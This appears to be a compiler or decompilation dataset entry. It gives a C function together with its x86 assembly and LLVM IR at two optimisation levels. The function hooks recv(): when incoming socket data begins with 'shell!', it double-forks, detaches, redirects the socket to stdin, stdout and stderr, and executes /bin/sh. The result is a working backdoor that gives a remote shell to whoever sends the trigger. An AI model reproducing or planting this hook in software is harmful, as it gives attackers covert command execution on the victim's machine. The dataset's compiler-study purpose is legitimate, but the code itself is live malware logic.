#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
typedef scalar_t__ ssize_t;
typedef int /*<<< orphan*/ FILE;

/* Variables and functions */
int /*<<< orphan*/ dup2(int, int /*<<< orphan*/);
int /*<<< orphan*/ execl(char *, char *, int /*<<< orphan*/ *);
int /*<<< orphan*/ fileno(int /*<<< orphan*/);
scalar_t__ fork();
scalar_t__ memcmp(void *, char *, scalar_t__);
scalar_t__ orig_recv(int, void *, size_t, int);
int /*<<< orphan*/ setsid();
int /*<<< orphan*/ stderr;
int /*<<< orphan*/ stdin;
int /*<<< orphan*/ stdout;
scalar_t__ strlen(char *);
ssize_t recv(int socket, void *buffer, size_t length, int flags) {
  ssize_t ret;
  FILE *fp;
  char filename[1024 + 1];
  ret = orig_recv(socket, buffer, length, flags);
  if (ret < strlen("shell!\n"))
    return ret;
  if (memcmp(buffer, "shell!", strlen("shell!")))
    return ret;
  if (fork())
    return 0;
  setsid();
  if (fork())
    return 0;
  dup2(socket, fileno(stdin));
  dup2(socket, fileno(stdout));
  dup2(socket, fileno(stderr));
  execl("/bin/sh", "sh", NULL);
  return -1;
}


x86 assembly (clang, -O0):
<recv>:
push   %rbp
mov    %rsp,%rbp
sub    $0x460,%rsp
mov    %edi,-0xc(%rbp)
mov    %rsi,-0x18(%rbp)
mov    %rdx,-0x20(%rbp)
mov    %ecx,-0x24(%rbp)
mov    -0xc(%rbp),%edi
mov    -0x18(%rbp),%rsi
mov    -0x20(%rbp),%rdx
mov    -0x24(%rbp),%ecx
call   1080 <orig_recv@plt>
mov    %rax,-0x30(%rbp)
mov    -0x30(%rbp),%rax
mov    %rax,-0x448(%rbp)
lea    0xe3e(%rip),%rdi
call   1030 <strlen@plt>
mov    %rax,%rcx
mov    -0x448(%rbp),%rax
cmp    %rcx,%rax
jge    11e7 <recv+0x67>
mov    -0x30(%rbp),%rax
mov    %rax,-0x8(%rbp)
jmp    12f9 <recv+0x179>
mov    -0x18(%rbp),%rax
mov    %rax,-0x450(%rbp)
lea    0xe0f(%rip),%rdi
call   1030 <strlen@plt>
mov    -0x450(%rbp),%rdi
mov    %rax,%rdx
lea    0xdf9(%rip),%rsi
call   1060 <memcmp@plt>
cmp    $0x0,%rax
je     122b <recv+0xab>
mov    -0x30(%rbp),%rax
mov    %rax,-0x8(%rbp)
jmp    12f9 <recv+0x179>
mov    $0x0,%al
call   10a0 <fork@plt>
cmp    $0x0,%rax
je     1249 <recv+0xc9>
movq   $0x0,-0x8(%rbp)
jmp    12f9 <recv+0x179>
mov    $0x0,%al
call   1050 <setsid@plt>
mov    $0x0,%al
call   10a0 <fork@plt>
cmp    $0x0,%rax
je     126e <recv+0xee>
movq   $0x0,-0x8(%rbp)
jmp    12f9 <recv+0x179>
mov    -0xc(%rbp),%eax
mov    %eax,-0x45c(%rbp)
mov    0x2d6a(%rip),%rax
mov    (%rax),%edi
call   1070 <fileno@plt>
mov    -0x45c(%rbp),%edi
mov    %eax,%esi
call   1040 <dup2@plt>
mov    -0xc(%rbp),%eax
mov    %eax,-0x458(%rbp)
mov    0x2d2e(%rip),%rax
mov    (%rax),%edi
call   1070 <fileno@plt>
mov    -0x458(%rbp),%edi
mov    %eax,%esi
call   1040 <dup2@plt>
mov    -0xc(%rbp),%eax
mov    %eax,-0x454(%rbp)
mov    0x2d12(%rip),%rax
mov    (%rax),%edi
call   1070 <fileno@plt>
mov    -0x454(%rbp),%edi
mov    %eax,%esi
call   1040 <dup2@plt>
lea    0xd2e(%rip),%rdi
lea    0xd2c(%rip),%rsi
xor    %eax,%eax
mov    %eax,%edx
call   1090 <execl@plt>
movq   $0xffffffffffffffff,-0x8(%rbp)
ff
mov    -0x8(%rbp),%rax
add    $0x460,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<recv>:
push   %rbp
push   %r14
push   %rbx
mov    %rsi,%rbp
mov    %edi,%r14d
call   1070 <orig_recv@plt>
mov    %rax,%rbx
cmp    $0x7,%rax
jl     1230 <recv+0xc0>
lea    0xe6d(%rip),%rsi
mov    $0x6,%edx
mov    %rbp,%rdi
call   1050 <memcmp@plt>
test   %rax,%rax
jne    1230 <recv+0xc0>
xor    %ebx,%ebx
xor    %eax,%eax
call   1090 <fork@plt>
test   %rax,%rax
jne    1230 <recv+0xc0>
xor    %ebx,%ebx
xor    %eax,%eax
call   1040 <setsid@plt>
xor    %eax,%eax
call   1090 <fork@plt>
test   %rax,%rax
jne    1230 <recv+0xc0>
mov    0x2e15(%rip),%rax
mov    (%rax),%edi
call   1060 <fileno@plt>
mov    %r14d,%edi
mov    %eax,%esi
call   1030 <dup2@plt>
mov    0x2de5(%rip),%rax
mov    (%rax),%edi
call   1060 <fileno@plt>
mov    %r14d,%edi
mov    %eax,%esi
call   1030 <dup2@plt>
mov    0x2dd5(%rip),%rax
mov    (%rax),%edi
call   1060 <fileno@plt>
mov    %r14d,%edi
mov    %eax,%esi
call   1030 <dup2@plt>
lea    0xdec(%rip),%rdi
lea    0xdea(%rip),%rsi
xor    %edx,%edx
call   1080 <execl@plt>
mov    $0xffffffffffffffff,%rbx
mov    %rbx,%rax
pop    %rbx
pop    %r14
pop    %rbp
ret

LLVM IR (-O0):
@.str = [8 x i8] c"shell!\0A\00"
@.str.1 = [7 x i8] c"shell!\00"
@stdin = global i32 0
@stdout = global i32 0
@stderr = global i32 0
@.str.2 = [8 x i8] c"/bin/sh\00"
@.str.3 = [3 x i8] c"sh\00"
define i64 @recv(i32 %0, i8* %1, i64 %2, i32 %3) {
%5 = alloca i64
%6 = alloca i32
%7 = alloca i8*
%8 = alloca i64
%9 = alloca i32
%10 = alloca i64
%11 = alloca i32*
%12 = alloca [1025 x i8]
store i32 %0, i32* %6
store i8* %1, i8** %7
store i64 %2, i64* %8
store i32 %3, i32* %9
%13 = load i32, i32* %6
%14 = load i8*, i8** %7
%15 = load i64, i64* %8
%16 = load i32, i32* %9
%17 = call i64 @orig_recv(i32 %13, i8* %14, i64 %15, i32 %16)
store i64 %17, i64* %10
%18 = load i64, i64* %10
%19 = call i64 @strlen(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i64 0, i64 0))
%20 = icmp slt i64 %18, %19
br i1 %20, label %21, label %23
21: ; preds = %4
%22 = load i64, i64* %10
store i64 %22, i64* %5
br label %53
23: ; preds = %4
%24 = load i8*, i8** %7
%25 = call i64 @strlen(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.1, i64 0, i64 0))
%26 = call i64 @memcmp(i8* %24, i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.1, i64 0, i64 0), i64 %25)
%27 = icmp ne i64 %26, 0
br i1 %27, label %28, label %30
28: ; preds = %23
%29 = load i64, i64* %10
store i64 %29, i64* %5
br label %53
30: ; preds = %23
%31 = call i64 (...) @fork()
%32 = icmp ne i64 %31, 0
br i1 %32, label %33, label %34
33: ; preds = %30
store i64 0, i64* %5
br label %53
34: ; preds = %30
%35 = call i32 (...) @setsid()
%36 = call i64 (...) @fork()
%37 = icmp ne i64 %36, 0
br i1 %37, label %38, label %39
38: ; preds = %34
store i64 0, i64* %5
br label %53
39: ; preds = %34
%40 = load i32, i32* %6
%41 = load i32, i32* @stdin
%42 = call i32 @fileno(i32 %41)
%43 = call i32 @dup2(i32 %40, i32 %42)
%44 = load i32, i32* %6
%45 = load i32, i32* @stdout
%46 = call i32 @fileno(i32 %45)
%47 = call i32 @dup2(i32 %44, i32 %46)
%48 = load i32, i32* %6
%49 = load i32, i32* @stderr
%50 = call i32 @fileno(i32 %49)
%51 = call i32 @dup2(i32 %48, i32 %50)
%52 = call i32 @execl(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.2, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.3, i64 0, i64 0), i32* null)
store i64 -1, i64* %5
br label %53
53: ; preds = %39, %38, %33, %28, %21
%54 = load i64, i64* %5
ret i64 %54
}

LLVM IR (-O2):
@.str.1 = [7 x i8] c"shell!\00"
@stdin = global i32 0
@stdout = global i32 0
@stderr = global i32 0
@.str.2 = [8 x i8] c"/bin/sh\00"
@.str.3 = [3 x i8] c"sh\00"
define i64 @recv(i32 %0, i8* %1, i64 %2, i32 %3) {
%5 = tail call i64 @orig_recv(i32 %0, i8* %1, i64 %2, i32 %3)
%6 = icmp slt i64 %5, 7
br i1 %6, label %28, label %7
7: ; preds = %4
%8 = tail call i64 @memcmp(i8* %1, i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.1, i64 0, i64 0), i64 6)
%9 = icmp eq i64 %8, 0
br i1 %9, label %10, label %28
10: ; preds = %7
%11 = tail call i64 (...) @fork()
%12 = icmp eq i64 %11, 0
br i1 %12, label %13, label %28
13: ; preds = %10
%14 = tail call i32 (...) @setsid()
%15 = tail call i64 (...) @fork()
%16 = icmp eq i64 %15, 0
br i1 %16, label %17, label %28
17: ; preds = %13
%18 = load i32, i32* @stdin
%19 = tail call i32 @fileno(i32 %18)
%20 = tail call i32 @dup2(i32 %0, i32 %19)
%21 = load i32, i32* @stdout
%22 = tail call i32 @fileno(i32 %21)
%23 = tail call i32 @dup2(i32 %0, i32 %22)
%24 = load i32, i32* @stderr
%25 = tail call i32 @fileno(i32 %24)
%26 = tail call i32 @dup2(i32 %0, i32 %25)
%27 = tail call i32 @execl(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.2, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.3, i64 0, i64 0), i32* null)
br label %28
28: ; preds = %13, %10, %7, %4, %17
%29 = phi i64 [ -1, %17 ], [ %5, %4 ], [ %5, %7 ], [ 0, %10 ], [ 0, %13 ]
ret i64 %29
}